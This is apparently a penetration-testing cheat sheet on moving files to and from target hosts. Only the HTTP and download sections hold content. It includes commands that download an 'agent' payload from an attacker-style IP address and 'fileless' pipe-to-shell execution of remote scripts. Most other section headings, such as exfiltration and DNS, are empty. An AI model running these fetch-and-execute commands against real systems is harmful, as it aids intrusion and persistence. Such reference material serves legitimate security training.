File Transfers

File Transfer Methods

When transferring files to Linux, use /dev/shm (which operates in memory) or /tmp (temporary storage). On Windows, the equivalent temporary directories are TEMP or TMP.

HTTP

python3 -m http.server 80
ruby -run -e httpd . -p 80

Download using wget & cURL

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
curl -O http://10.10.14.30/agent
curl.exe -O http://10.10.14.30/agent.exe

# Fileless Download
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

# Note: Some payloads such as mkfifo write files to disk.

FTP

Servers

SCP

Certutil

Powershell

RDP

SMB

NXC

Exfiltration

Outbound Port Connectivity

Verify if outbound port connectivity is restricted, as this is key for maintaining access or exfiltrating data. To test, run:

Via DNS

Last updated